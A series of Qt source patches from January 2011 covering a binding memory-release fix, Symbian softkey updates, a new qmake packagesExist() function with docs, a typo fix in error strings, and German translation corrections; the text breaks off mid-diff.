a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp index 223d057..2092087 100644 --- a/src/declarative/qml/qdeclarativebinding.cpp +++ b/src/declarative/qml/qdeclarativebinding.cpp @@ -247,9 +247,15 @@ QDeclarativeBinding::createBinding(Identifier id, QObject *obj, QDeclarativeCont QDeclarativeEnginePrivate *engine = QDeclarativeEnginePrivate::get(qmlEngine(obj)); QDeclarativeCompiledData *cdata = 0; - if (engine && ctxtdata && !ctxtdata->url.isEmpty()) - cdata = engine->typeLoader.get(ctxtdata->url)->compiledData(); - return cdata ? new QDeclarativeBinding((void*)cdata->datas.at(id).constData(), cdata, obj, ctxtdata, url, lineNumber, parent) : 0; + QDeclarativeTypeData *typeData = 0; + if (engine && ctxtdata && !ctxtdata->url.isEmpty()) { + typeData = engine->typeLoader.get(ctxtdata->url); + cdata = typeData->compiledData(); + } + QDeclarativeBinding *rv = cdata ? new QDeclarativeBinding((void*)cdata->datas.at(id).constData(), cdata, obj, ctxtdata, url, lineNumber, parent) : 0; + if (typeData) + typeData->release(); + return rv; } QDeclarativeBinding::QDeclarativeBinding(const QString &str, QObject *obj, QDeclarativeContext *ctxt, -- cgit v0.12 From 37faa3ba7c66d14e1ecbf75e93d9f0d27fa57a76 Mon Sep 17 00:00:00 2001 From: mread Date: Mon, 17 Jan 2011 10:52:14 +0000 Subject: QTBUG-16110 updating the softkeys when app comes to foreground When an app is in the background and creates a window with softkeys, the softkeys are not updated when the app comes to the foreground, so they look faded. This change updates the softkeys when the app comes to the forground. Task-number: QTBUG-16110 Reviewed-by: Jason Barron --- src/gui/kernel/qapplication_s60.cpp | 3 +++ 1 file changed, 3 insertions(+) diff --git a/src/gui/kernel/qapplication_s60.cpp b/src/gui/kernel/qapplication_s60.cpp index 789f198..ba06312 100644 --- a/src/gui/kernel/qapplication_s60.cpp +++ b/src/gui/kernel/qapplication_s60.cpp @@ -2016,6 +2016,9 @@ int QApplicationPrivate::symbianProcessWsEvent(const QSymbianEvent *symbianEvent S60->wsSession().SetPointerCursorMode(EPointerCursorNormal); } #endif +#ifdef QT_SOFTKEYS_ENABLED + QSoftKeyManager::updateSoftKeys(); +#endif break; case EEventFocusLost: if (callSymbianEventFilters(symbianEvent)) -- cgit v0.12 From a13e97b42c89159667f2d89c7eda2dbfdf1465e8 Mon Sep 17 00:00:00 2001 From: Robin Burchell Date: Mon, 17 Jan 2011 13:31:44 +0100 Subject: Add packagesExist() function to qmake. This can be used to detect whether or not a given (set of) packages exist, which can be useful for compiling in or our extra functionality at build time. Merge-request: 1022 Reviewed-by: Oswald Buddenhagen --- doc/src/development/qmake-manual.qdoc | 13 +++++++++++++ doc/src/snippets/code/doc_src_qmake-manual.qdoc | 12 ++++++++++++ mkspecs/features/link_pkgconfig.prf | 3 ++- mkspecs/features/qt_functions.prf | 14 ++++++++++++++ 4 files changed, 41 insertions(+), 1 deletion(-) diff --git a/doc/src/development/qmake-manual.qdoc b/doc/src/development/qmake-manual.qdoc index d7a48a3..b6270d5 100644 --- a/doc/src/development/qmake-manual.qdoc +++ b/doc/src/development/qmake-manual.qdoc @@ -3397,6 +3397,19 @@ \tableofcontents{2} + \section1 packagesExist(packages) + + Uses the PKGCONFIG mechanism to determine whether or not the given packages + exist at the time of project parsing. + + This can be useful to optionally enable or disable features. For example: + + \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 157 + + And then, in the code: + + \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 158 + \section1 basename(variablename) Returns the basename of the file specified. For example: diff --git a/doc/src/snippets/code/doc_src_qmake-manual.qdoc b/doc/src/snippets/code/doc_src_qmake-manual.qdoc index ab67a3d..ec35a52 100644 --- a/doc/src/snippets/code/doc_src_qmake-manual.qdoc +++ b/doc/src/snippets/code/doc_src_qmake-manual.qdoc @@ -1029,3 +1029,15 @@ DEPLOYMENT += dep_note //! [156] DEPLOYMENT.display_name = My Qt App //! [156] + +//! [157] +packagesExist(sqlite3 QtNetwork QtDeclarative) { + DEFINES += USE_FANCY_UI +} +//! [157] + +//! [158] +#ifdef USE_FANCY_UI + // Use the fancy UI, as we have extra packages available +#endif +//! [158] diff --git a/mkspecs/features/link_pkgconfig.prf b/mkspecs/features/link_pkgconfig.prf index d70e5de..b1b00e43 100644 --- a/mkspecs/features/link_pkgconfig.prf +++ b/mkspecs/features/link_pkgconfig.prf @@ -1,5 +1,6 @@ # handle pkg-config files -isEmpty(PKG_CONFIG):PKG_CONFIG = pkg-config +isEmpty(PKG_CONFIG):PKG_CONFIG = pkg-config # keep consistent with qt_functions.prf too! + for(PKGCONFIG_LIB, $$list($$unique(PKGCONFIG))) { QMAKE_CXXFLAGS += $$system($$PKG_CONFIG --cflags $$PKGCONFIG_LIB) QMAKE_CFLAGS += $$system($$PKG_CONFIG --cflags $$PKGCONFIG_LIB) diff --git a/mkspecs/features/qt_functions.prf b/mkspecs/features/qt_functions.prf index 964e13b..f1c3e13 100644 --- a/mkspecs/features/qt_functions.prf +++ b/mkspecs/features/qt_functions.prf @@ -103,3 +103,17 @@ defineTest(qtPrepareTool) { } export($$1) } + +defineTest(packagesExist) { + # this can't be done in global scope here because qt_functions is loaded + # before the .pro is parsed, so if the .pro set PKG_CONFIG, we wouldn't know it + # yet. oops. + isEmpty(PKG_CONFIG):PKG_CONFIG = pkg-config # keep consistent with link_pkgconfig.prf! too + + for(package, ARGS) { + !system($$PKG_CONFIG --exists $$package):return(false) + } + + return(true) +} + -- cgit v0.12 From 145c6bdef2680ca0da07f8f0cf09419edf9ecd52 Mon Sep 17 00:00:00 2001 From: Robin Burchell Date: Mon, 17 Jan 2011 13:31:45 +0100 Subject: Use packagesExist() macro to bail if a nonexistant package is requested. This will solve problematic cases with large projects, lots of required packages, and no configure scripts failing to build partway through. Previously, PKGCONFIG processing would error to stdout, but continue the compilation. This should not affect existing code overly much, apart from projects who added nonexistent packages they didn't use to PKGCONFIG (but let's face it, that's a bit of a stupid thing to do.) Task-number: QTBUG-11418 Merge-request: 1022 Reviewed-by: Oswald Buddenhagen --- mkspecs/features/link_pkgconfig.prf | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/mkspecs/features/link_pkgconfig.prf b/mkspecs/features/link_pkgconfig.prf index b1b00e43..a3dbd1f 100644 --- a/mkspecs/features/link_pkgconfig.prf +++ b/mkspecs/features/link_pkgconfig.prf @@ -2,7 +2,11 @@ isEmpty(PKG_CONFIG):PKG_CONFIG = pkg-config # keep consistent with qt_functions.prf too! for(PKGCONFIG_LIB, $$list($$unique(PKGCONFIG))) { + # don't proceed if the .pro asks for a package we don't have! + !packagesExist($$PKGCONFIG_LIB):error("Package $$PKGCONFIG_LIB not found") + QMAKE_CXXFLAGS += $$system($$PKG_CONFIG --cflags $$PKGCONFIG_LIB) QMAKE_CFLAGS += $$system($$PKG_CONFIG --cflags $$PKGCONFIG_LIB) LIBS += $$system($$PKG_CONFIG --libs $$PKGCONFIG_LIB) } + -- cgit v0.12 From 4a7a6d19fa557a7220dfd1a1387e0958182505f2 Mon Sep 17 00:00:00 2001 From: Robin Burchell Date: Mon, 17 Jan 2011 13:31:46 +0100 Subject: Improve documentation for PWD variable. - Note that it can be used in shadow build circumstances. - Note that IN_PWD is an alias for PWD. - See also: _PRO_FILE_ Merge-request: 1022 Reviewed-by: Oswald Buddenhagen --- doc/src/development/qmake-manual.qdoc | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/doc/src/development/qmake-manual.qdoc b/doc/src/development/qmake-manual.qdoc index b6270d5..f5ac12d 100644 --- a/doc/src/development/qmake-manual.qdoc +++ b/doc/src/development/qmake-manual.qdoc @@ -1900,8 +1900,17 @@ \target PWD \section1 PWD - This variable contains the full path leading to the directory where - the \c qmake project file (project.pro) is located. + The \c PWD variable specifies the full path leading to the directory + containing the current file being parsed. This can be useful + to refer to files within the source tree when writing project files to + support shadow builds. + + See also \l{#_PRO_FILE_PWD_}{_PRO_FILE_PWD_}. + + \note IN_PWD is an alias for PWD. + + \note Function calls have no effect on the value of PWD. PWD will refer to + the path of the calling file. \target OUT_PWD \section1 OUT_PWD -- cgit v0.12 From 9b1c0992f2f26a6f1570751f39b55d8b9a3da45d Mon Sep 17 00:00:00 2001 From: Oswald Buddenhagen Date: Wed, 12 Jan 2011 16:09:03 +0100 Subject: fix typo in error messages Task-number: QTBUG-16369 --- src/declarative/qml/parser/qdeclarativejslexer.cpp | 2 +- tools/linguist/lupdate/qscript.cpp | 2 +- tools/linguist/lupdate/qscript.g | 2 +- translations/linguist_de.ts | 2 +- translations/linguist_ja.ts | 2 +- translations/linguist_ru.ts | 2 +- translations/linguist_sl.ts | 2 +- translations/linguist_uk.ts | 2 +- translations/qt_de.ts | 2 +- translations/qt_fr.ts | 2 +- translations/qt_gl.ts | 2 +- translations/qt_hu.ts | 2 +- translations/qt_ja.ts | 2 +- translations/qt_pl.ts | 2 +- translations/qt_ru.ts | 2 +- translations/qt_sl.ts | 2 +- translations/qt_uk.ts | 2 +- 17 files changed, 17 insertions(+), 17 deletions(-) diff --git a/src/declarative/qml/parser/qdeclarativejslexer.cpp b/src/declarative/qml/parser/qdeclarativejslexer.cpp index af955a4..4dfef45 100644 --- a/src/declarative/qml/parser/qdeclarativejslexer.cpp +++ b/src/declarative/qml/parser/qdeclarativejslexer.cpp @@ -619,7 +619,7 @@ int Lexer::lex() } else { setDone(Bad); err = IllegalEscapeSequence; - errmsg = QCoreApplication::translate("QDeclarativeParser", "Illegal escape squence"); + errmsg = QCoreApplication::translate("QDeclarativeParser", "Illegal escape sequence"); } } else if (current == 'x') state = InHexEscape; diff --git a/tools/linguist/lupdate/qscript.cpp b/tools/linguist/lupdate/qscript.cpp index beeec22..23fb9f6 100644 --- a/tools/linguist/lupdate/qscript.cpp +++ b/tools/linguist/lupdate/qscript.cpp @@ -1528,7 +1528,7 @@ int QScript::Lexer::lex() } else { setDone(Bad); err = IllegalEscapeSequence; - errmsg = LU::tr("Illegal escape squence"); + errmsg = LU::tr("Illegal escape sequence"); } } else if (current == 'x') state = InHexEscape; diff --git a/tools/linguist/lupdate/qscript.g b/tools/linguist/lupdate/qscript.g index 8be20d0..fb4eee7 100644 --- a/tools/linguist/lupdate/qscript.g +++ b/tools/linguist/lupdate/qscript.g @@ -859,7 +859,7 @@ int QScript::Lexer::lex() } else { setDone(Bad); err = IllegalEscapeSequence; - errmsg = LU::tr("Illegal escape squence"); + errmsg = LU::tr("Illegal escape sequence"); } } else if (current == 'x') state = InHexEscape; diff --git a/translations/linguist_de.ts b/translations/linguist_de.ts index e9b5661..cb0b36d 100644 --- a/translations/linguist_de.ts +++ b/translations/linguist_de.ts @@ -908,7 +908,7 @@ Options: - Illegal escape squence + Illegal escape sequence diff --git a/translations/linguist_ja.ts b/translations/linguist_ja.ts index 4b2cbf7..40bb778 100644 --- a/translations/linguist_ja.ts +++ b/translations/linguist_ja.ts @@ -1112,7 +1112,7 @@ Qt TS XML). 新しく追加されたり変更されたメッセージは既存 ファイルの終端までに閉じられていない文字列 - Illegal escape squence + Illegal escape sequence 無効なエスケープシーケンス diff --git a/translations/linguist_ru.ts b/translations/linguist_ru.ts index db76e72..dfda98e 100644 --- a/translations/linguist_ru.ts +++ b/translations/linguist_ru.ts @@ -1155,7 +1155,7 @@ lupdate - это один из инструментов Qt Linguist. Он изв Незавершенный текст в конце строки - Illegal escape squence + Illegal escape sequence Неверная esc-последовательность diff --git a/translations/linguist_sl.ts b/translations/linguist_sl.ts index 27ca8d1..4499133 100644 --- a/translations/linguist_sl.ts +++ b/translations/linguist_sl.ts @@ -912,7 +912,7 @@ Options: - Illegal escape squence + Illegal escape sequence diff --git a/translations/linguist_uk.ts b/translations/linguist_uk.ts index 56aadab..56db6ba 100644 --- a/translations/linguist_uk.ts +++ b/translations/linguist_uk.ts @@ -1146,7 +1146,7 @@ lupdate - це частина набору програм Qt Linguist. Вона Незакритий рядок в кінці файлу - Illegal escape squence + Illegal escape sequence Неприпустима керуюча послідовність diff --git a/translations/qt_de.ts b/translations/qt_de.ts index cd7d782..dd8147f 100644 --- a/translations/qt_de.ts +++ b/translations/qt_de.ts @@ -1947,7 +1947,7 @@ nach Zeichenkette am Zeilenende nicht abgeschlossen - Illegal escape squence + Illegal escape sequence Ungültiges Escape-Sequenz diff --git a/translations/qt_fr.ts b/translations/qt_fr.ts index b1ded34..eb9f1b5 100644 --- a/translations/qt_fr.ts +++ b/translations/qt_fr.ts @@ -2205,7 +2205,7 @@ en Chaîne de caractères non fermée en fin de ligne - Illegal escape squence + Illegal escape sequence Séquence d'échappement illégale diff --git a/translations/qt_gl.ts b/translations/qt_gl.ts index 41e338f..1f3e02e 100644 --- a/translations/qt_gl.ts +++ b/translations/qt_gl.ts @@ -2238,7 +2238,7 @@ superior, inferior nin vcenter. Cadea non pechada no fin dunha liña - Illegal escape squence + Illegal escape sequence Secuencia de escape ilegal diff --git a/translations/qt_hu.ts b/translations/qt_hu.ts index d9b05d1..0497477 100644 --- a/translations/qt_hu.ts +++ b/translations/qt_hu.ts @@ -2619,7 +2619,7 @@ erre: - Illegal escape squence + Illegal escape sequence diff --git a/translations/qt_ja.ts b/translations/qt_ja.ts index bf31fe5..db8a917 100644 --- a/translations/qt_ja.ts +++ b/translations/qt_ja.ts @@ -1945,7 +1945,7 @@ to 文字列が行末で閉じていません - Illegal escape squence + Illegal escape sequence 無効なエスケープシーケンスです diff --git a/translations/qt_pl.ts b/translations/qt_pl.ts index 2b9a4df..37fbee1 100644 --- a/translations/qt_pl.ts +++ b/translations/qt_pl.ts @@ -1952,7 +1952,7 @@ na Niedomknięty ciąg na końcu linii - Illegal escape squence + Illegal escape sequence diff --git a/translations/qt_ru.ts b/translations/qt_ru.ts index 299799d..e20fc0c 100644 --- a/translations/qt_ru.ts +++ b/translations/qt_ru.ts @@ -1950,7 +1950,7 @@ to Незакрытый текст в конце строки - Illegal escape squence + Illegal escape sequence Недопустимая esc-последовательность diff --git a/translations/qt_sl.ts b/translations/qt_sl.ts index e9e2e75..98cca91 100644 --- a/translations/qt_sl.ts +++ b/translations/qt_sl.ts @@ -1961,7 +1961,7 @@ v Nezaprt niz na koncu vrstice - Illegal escape squence + Illegal escape sequence Neveljavno ubežno zaporedje diff --git a/translations/qt_uk.ts b/translations/qt_uk.ts index 18bac2e..7f396ad 100644 --- a/translations/qt_uk.ts +++ b/translations/qt_uk.ts @@ -1925,7 +1925,7 @@ to Незакритий рядок в кінці файлу - Illegal escape squence + Illegal escape sequence Неприпустима керуюча послідовність -- cgit v0.12 From fc954809cae4a24ada47ff35b9ffbabe0b451835 Mon Sep 17 00:00:00 2001 From: Frederik Schwarzer Date: Wed, 12 Jan 2011 13:42:59 +0100 Subject: German translation fixes MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - some entity mismatches (apos -> quot) - Boolesch -> boolesch - Hangul is translated Hangeul - schlug fehl -> ist fehlgeschlagen - unify: next; previous -> nächte[sr]; vorherige[sr] - unify: Encoding -> Kodierung ... and some various fixes more. Merge-request: 2535 Reviewed-by: Oswald Buddenhagen --- translations/qt_de.ts | 172 +++++++++++++++++++++++++------------------------- 1 file changed, 86 insertions(+), 86 deletions(-) diff --git a/translations/qt_de.ts b/translations/qt_de.ts index dd8147f..f56978f 100644 --- a/translations/qt_de.ts +++ b/translations/qt_de.ts @@ -128,7 +128,7 @@ Bitte überprüfen Sie Ihre GStreamer-Installation und stellen Sie sicher, dass Plugin codec installation failed for codec: %0 - Die Installation des Codec-Plugins schlug fehl für: %0 + Die Installation des Codec-Plugins ist fehlgeschlagen für: %0 A required codec is missing. You need to install the following codec(s) to play this content: %0 @@ -314,7 +314,7 @@ Bitte überprüfen Sie Ihre GStreamer-Installation und stellen Sie sicher, dass Loading clip failed - Das Laden des Clips schlug fehl + Das Laden des Clips ist fehlgeschlagen Playback complete @@ -1196,7 +1196,7 @@ nach %1: ftok failed QSystemSemaphore - %1: ftok-Aufruf schlug fehl + %1: ftok-Aufruf ist fehlgeschlagen %1: already exists @@ -1288,11 +1288,11 @@ nach QDeclarativeAbstractAnimation Cannot animate non-existent property "%1" - Die Eigenschaft '%1" existiert nicht und kann daher nicht animiert werden + Die Eigenschaft "%1" existiert nicht und kann daher nicht animiert werden Cannot animate read-only property "%1" - Die Eigenschaft '%1" ist schreibgeschützt und kann daher nicht animiert werden + Die Eigenschaft "%1" ist schreibgeschützt und kann daher nicht animiert werden Animation is an abstract class @@ -1350,7 +1350,7 @@ nach Baseline anchor cannot be used in conjunction with top, bottom, or vcenter anchors. - Ein Baseline-Anker darf nicht mit zusammen mit weiteren Ankerangaben für oben, unten und vertikal zentriert verwendet werden. + Ein Baseline-Anker darf nicht zusammen mit weiteren Ankerangaben für oben, unten und vertikal zentriert verwendet werden. Cannot anchor a vertical edge to a horizontal edge. @@ -1375,14 +1375,14 @@ nach QDeclarativeBinding Binding loop detected for property "%1" - Bei der für die Eigenschaft "%1" angegebenen Bindung wurde eine Endlosschleife festgestellt + Bei der für die Eigenschaft "%1" angegebenen Bindung wurde eine Endlosschleife festgestellt QDeclarativeCompiledBindings Binding loop detected for property "%1" - Bei der für die Eigenschaft "%1" angegebenen Bindung wurde eine Endlosschleife festgestellt + Bei der für die Eigenschaft "%1" angegebenen Bindung wurde eine Endlosschleife festgestellt @@ -1393,7 +1393,7 @@ nach Invalid property assignment: unknown enumeration - Ungültige Zuweisung bei Eigenschaft: Ungültiger Aufzählungswert + Ungültige Zuweisung bei Eigenschaft: Unbekannter Aufzählungswert Invalid property assignment: string expected @@ -1449,7 +1449,7 @@ nach Invalid property assignment: boolean expected - Ungültige Zuweisung bei Eigenschaft: Es wird ein Boolescher Wert erwartet + Ungültige Zuweisung bei Eigenschaft: Es wird ein boolescher Wert erwartet Invalid property assignment: 3D vector expected @@ -1465,7 +1465,7 @@ nach Component elements may not contain properties other than id - Komponenten dürfen außer id keine weiteren Eigenschaften enthalten. + Komponenten dürfen außer id keine weiteren Eigenschaften enthalten Invalid component id specification @@ -1525,7 +1525,7 @@ nach Incorrectly specified signal assignment - + Angegebene Signalzuweisung ist nicht korrekt Invalid property assignment: number expected @@ -1573,7 +1573,7 @@ nach Unexpected object assignment - Zuweisung des Objekts nicht zulässig + Unerwartete Zuweisung des Objekts Cannot assign object to list @@ -1669,7 +1669,7 @@ nach IDs must start with a letter or underscore - Id-Werte müssen mit einem Buchstaben oder dem Zeichen '_' beginnen + Id-Werte müssen mit einem Buchstaben oder Unterstrich beginnen IDs must contain only letters, numbers, and underscores @@ -1726,7 +1726,7 @@ nach QDeclarativeConnections Cannot assign to non-existent property "%1" - Es kann keine Zuweisung erfolgen, da keine Eigenschaft des Namens '%1" existiert + Es kann keine Zuweisung erfolgen, da keine Eigenschaft des Namens "%1" existiert Connections: nested objects not allowed @@ -1757,7 +1757,7 @@ nach SQL transaction failed - Die SQL-Transaktion schlug fehl + Die SQL-Transaktion ist fehlgeschlagen transaction: missing callback @@ -1787,7 +1787,7 @@ nach plugin cannot be loaded for module "%1": %2 - Das Plugin des Moduls "%1" konnte nicht geladen werden: %2 + Das Plugin des Moduls "%1" kann nicht geladen werden: %2 module "%1" plugin "%2" not found @@ -1819,7 +1819,7 @@ nach local directory - Lokales Verzeichnis' + Lokales Verzeichnis is ambiguous. Found in %1 and in %2 @@ -1948,7 +1948,7 @@ nach Illegal escape sequence - Ungültiges Escape-Sequenz + Ungültige Escape-Sequenz Illegal unicode escape sequence @@ -1976,7 +1976,7 @@ nach Unterminated regular expression backslash sequence - Regulärer Ausdruck nicht abgeschlossen + Backslash-Sequenz in regulärem Ausdruck nicht abgeschlossen Unterminated regular expression class @@ -2058,7 +2058,7 @@ nach QDeclarativePixmap Error decoding: %1: %2 - Fehler beim Decodieren: %1: %2 + Fehler beim Dekodieren: %1: %2 Failed to get image from provider: %1 @@ -2107,7 +2107,7 @@ nach Cannot assign to read-only property "%1" - Die Eigenschaft '%1" ist schreibgeschützt und kann daher nicht zugewiesen werden + Die Eigenschaft "%1" ist schreibgeschützt und kann daher nicht zugewiesen werden @@ -2118,7 +2118,7 @@ nach Could not instantiate cursor delegate - Cursor-Delegate konnte angelegt werden + Cursor-Delegate konnte nicht instanziiert werden @@ -2163,7 +2163,7 @@ nach Cannot assign value %1 to property %2 - Der Wert '%1' kann nicht der Eigenschaft %2 zugewiesen werden + Der Wert '%1' kann der Eigenschaft %2 nicht zugewiesen werden Cannot assign object type %1 with no default method @@ -2979,13 +2979,13 @@ Möchten Sie die Datei trotzdem löschen? Connecting to host failed: %1 - Verbindung mit Rechner schlug fehl: + Verbindung mit Rechner ist fehlgeschlagen: %1 Login failed: %1 - Anmeldung schlug fehl: + Anmeldung ist fehlgeschlagen: %1 @@ -2997,37 +2997,37 @@ Möchten Sie die Datei trotzdem löschen? Changing directory failed: %1 - Ändern des Verzeichnisses schlug fehl: + Ändern des Verzeichnisses ist fehlgeschlagen: %1 Downloading file failed: %1 - Herunterladen der Datei schlug fehl: + Herunterladen der Datei ist fehlgeschlagen: %1 Uploading file failed: %1 - Hochladen der Datei schlug fehl: + Hochladen der Datei ist fehlgeschlagen: %1 Removing file failed: %1 - Löschen der Datei schlug fehl: + Löschen der Datei ist fehlgeschlagen: %1 Creating directory failed: %1 - Erstellen des Verzeichnisses schlug fehl: + Erstellen des Verzeichnisses ist fehlgeschlagen: %1 Removing directory failed: %1 - Löschen des Verzeichnisses schlug fehl: + Löschen des Verzeichnisses ist fehlgeschlagen: %1 @@ -3282,7 +3282,7 @@ Möchten Sie die Datei trotzdem löschen? Could not allocate statement - Die Allokation des Befehls schlug fehl + Die Allokation des Befehls ist fehlgeschlagen Could not prepare statement @@ -3916,7 +3916,7 @@ Möchten Sie die Datei trotzdem löschen? Logging in to %1 failed: authentication required - Die Anmeldung bei %1 schlug fehl: Es ist eine Authentifizierung erforderlich + Die Anmeldung bei %1 ist fehlgeschlagen: Es ist eine Authentifizierung erforderlich Error while downloading %1: %2 @@ -3957,7 +3957,7 @@ Möchten Sie die Datei trotzdem löschen? Temporary network failure. - Das Netzwerk ist zur Zeit ausgefallen. + Das Netzwerk ist zurzeit ausgefallen. @@ -3982,7 +3982,7 @@ Möchten Sie die Datei trotzdem löschen? The session was aborted by the user or system. - Die Verbindung wurde vom Nutzer oder vom Betriebssystem unterbrochen. + Die Verbindung wurde vom Benutzer oder vom Betriebssystem unterbrochen. The requested operation is not supported by the system. @@ -4002,7 +4002,7 @@ Möchten Sie die Datei trotzdem löschen? Session aborted by user or system - Die Verbindung wurde vom Nutzer oder vom Betriebssystem unterbrochen + Die Verbindung wurde vom Benutzer oder vom Betriebssystem unterbrochen Unidentified Error @@ -4049,7 +4049,7 @@ Möchten Sie die Datei trotzdem löschen? Unable to alloc statement - Die Allokation des Befehls schlug fehl + Die Allokation des Befehls ist fehlgeschlagen Unable to prepare statement @@ -4131,7 +4131,7 @@ Möchten Sie die Datei trotzdem löschen? Unable to fetch previous - Der vorangegangene Datensatz kann nicht abgeholt werden + Der vorherige Datensatz konnte nicht abgeholt werden @@ -4146,7 +4146,7 @@ Möchten Sie die Datei trotzdem löschen? PulseAudio Sound Server - PulseAudio Sound Server + PulseAudio-Sound-Server @@ -4180,7 +4180,7 @@ Möchten Sie die Datei trotzdem löschen? Unable to subscribe - Die Registrierung schlug fehl + Die Registrierung ist fehlgeschlagen Unable to unsubscribe @@ -4881,11 +4881,11 @@ Bitte wählen Sie einen anderen Dateinamen. Error reading from process - Das Lesen vom Prozess schlug fehl + Das Lesen vom Prozess ist fehlgeschlagen Error writing to process - Das Schreiben zum Prozess schlug fehl + Das Schreiben zum Prozess ist fehlgeschlagen Process crashed @@ -4897,7 +4897,7 @@ Bitte wählen Sie einen anderen Dateinamen. Process failed to start: %1 - Das Starten des Prozesses schlug fehl: %1 + Das Starten des Prozesses ist fehlgeschlagen: %1 @@ -5430,7 +5430,7 @@ Bitte wählen Sie einen anderen Dateinamen. %1: ftok failed - %1: ftok-Aufruf schlug fehl + %1: ftok-Aufruf ist fehlgeschlagen %1: unable to make key @@ -5462,7 +5462,7 @@ Bitte wählen Sie einen anderen Dateinamen. %1: size query failed - %1: Die Abfrage der Größe schlug fehl + %1: Die Abfrage der Größe ist fehlgeschlagen %1: unable to set key on lock @@ -5648,7 +5648,7 @@ Bitte wählen Sie einen anderen Dateinamen. Toggle Media Play/Pause Media player button to toggle between playing and paused - Pause + Wiedergabe/Pause Favorites @@ -6279,51 +6279,51 @@ Bitte wählen Sie einen anderen Dateinamen. Previous Candidate - Vorangegangener Vorschlag + Vorheriger Vorschlag Hangul - Hangul + Hangeul Hangul Start - Hangul Anfang + Hangeul Anfang Hangul End - Hangul Ende + Hangeul Ende Hangul Hanja - Hangul Hanja + Hangeul-Hanja Hangul Jamo - Hangul Jamo + Hangeul-Jamo Hangul Romaja - Hangul Romaja + Hangeul-Romaja Hangul Jeonja - Hangul Jeonja + Hangeul-Jeonja Hangul Banja - Hangul Banja + Hangeul-Banja Hangul PreHanja - Hangul PreHanja + Hangeul-PreHanja Hangul PostHanja - Hangul PostHanja + Hangeul-PostHanja Hangul Special - Hangul Special + Hangeul Special Ctrl @@ -6397,15 +6397,15 @@ Bitte wählen Sie einen anderen Dateinamen. Proxy authentication failed - Die Authentifizierung beim Proxy-Server schlug fehl + Die Authentifizierung beim Proxy-Server ist fehlgeschlagen Proxy authentication failed: %1 - Die Authentifizierung beim Proxy-Server schlug fehl: %1 + Die Authentifizierung beim Proxy-Server ist fehlgeschlagen: %1 SOCKS version 5 protocol error - Protokoll-Fehler (SOCKS version 5) + Protokoll-Fehler (SOCKS Version 5) General SOCKSv5 server failure @@ -7428,27 +7428,27 @@ Bitte wählen Sie einen anderen Dateinamen. Move the cursor to the next character - Positionsmarke auf folgendes Zeichen setzen + Positionsmarke auf nächstes Zeichen setzen Move the cursor to the previous character - Positionsmarke auf vorangehendes Zeichen setzen + Positionsmarke auf vorheriges Zeichen setzen Move the cursor to the next word - Positionsmarke auf folgendes Wort setzen + Positionsmarke auf nächstes Wort setzen Move the cursor to the previous word - Positionsmarke auf vorangehendes Wort setzen + Positionsmarke auf vorherige Wort setzen Move the cursor to the next line - Positionsmarke auf folgende Zeile setzen + Positionsmarke auf nächste Zeile setzen Move the cursor to the previous line - Positionsmarke auf vorangehende Zeile setzen + Positionsmarke auf vorherige Zeile setzen Move the cursor to the start of the line @@ -7468,11 +7468,11 @@ Bitte wählen Sie einen anderen Dateinamen. Move the cursor to the start of the document - Positionsmarke auf Anfang des Dokumentes setzen + Positionsmarke auf Anfang des Dokuments setzen Move the cursor to the end of the document - Positionsmarke auf Ende des Dokumentes setzen + Positionsmarke auf Ende des Dokuments setzen Select all @@ -7799,7 +7799,7 @@ Bitte wählen Sie einen anderen Dateinamen. encoding declaration or standalone declaration expected while reading the XML declaration - fehlende Encoding-Deklaration oder Standalone-Deklaration beim Parsen der XML-Deklaration + fehlende Kodierung-Deklaration oder Standalone-Deklaration beim Parsen der XML-Deklaration standalone declaration expected while reading the XML declaration @@ -7818,7 +7818,7 @@ Bitte wählen Sie einen anderen Dateinamen. Unknown location - unbekannt + Unbekannter Ort Error %1 in %2, at line %3, column %4: %5 @@ -7833,7 +7833,7 @@ Bitte wählen Sie einen anderen Dateinamen. QXmlStream Extra content at end of document. - Überzähliger Inhalt nach Ende des Dokumentes. + Überzähliger Inhalt nach Ende des Dokuments. Invalid entity value. @@ -7869,11 +7869,11 @@ Bitte wählen Sie einen anderen Dateinamen. %1 is an invalid encoding name. - %1 ist kein gültiger Name für das Encoding. + %1 ist kein gültiger Name für die Kodierung. Encoding %1 is unsupported - Das Encoding %1 wird nicht unterstützt + Die Kodierung %1 wird nicht unterstützt Standalone accepts only yes or no. @@ -7965,7 +7965,7 @@ Bitte wählen Sie einen anderen Dateinamen. The standalone pseudo attribute must appear after the encoding. - Das Standalone-Pseudoattribut muss dem Encoding unmittelbar folgen. + Das Standalone-Pseudoattribut muss der Kodierung unmittelbar folgen. %1 is an invalid PUBLIC identifier. @@ -7988,7 +7988,7 @@ Bitte wählen Sie einen anderen Dateinamen. Effective Boolean Value cannot be calculated for a sequence containing two or more atomic values. - Der effektive Boolesche Wert einer Sequenz aus zwei oder mehreren atomaren Werten kann nicht berechnet werden. + Der effektive boolesche Wert einer Sequenz aus zwei oder mehreren atomaren Werten kann nicht berechnet werden. The data of a processing instruction cannot contain the string %1 @@ -8000,7 +8000,7 @@ Bitte wählen Sie einen anderen Dateinamen. %1 is not a valid XML 1.0 character. - %1 ist kein gültiges XML 1.0 Zeichen. + %1 ist kein gültiges XML-1.0-Zeichen. %1 was called. @@ -8220,7 +8220,7 @@ Bitte wählen Sie einen anderen Dateinamen. A value of type %1 cannot have an Effective Boolean Value. - Ein Wert des Typs %1 kann keinen effektiven Booleschen Wert haben. + Ein Wert des Typs %1 kann keinen effektiven booleschen Wert haben. Value %1 of type %2 exceeds maximum (%3). @@ -8264,7 +8264,7 @@ Bitte wählen Sie einen anderen Dateinamen. A comment cannot contain %1 - Ein Kommentar darf nicht'%1 enthalten + Ein Kommentar darf %1 nicht enthalten A comment cannot end with a %1. @@ -8284,7 +8284,7 @@ Bitte wählen Sie einen anderen Dateinamen. A value of type %1 cannot be a predicate. A predicate must have either a numeric type or an Effective Boolean Value type. - Werte des Typs %1 dürfen keine Prädikate sein. Für Prädikate sind nur numerische oder effektiv Boolesche Typen zulässig. + Werte des Typs %1 dürfen keine Prädikate sein. Für Prädikate sind nur numerische oder effektive boolesche Typen zulässig. A positional predicate must evaluate to a single numeric value. @@ -8292,7 +8292,7 @@ Bitte wählen Sie einen anderen Dateinamen. The target name in a processing instruction 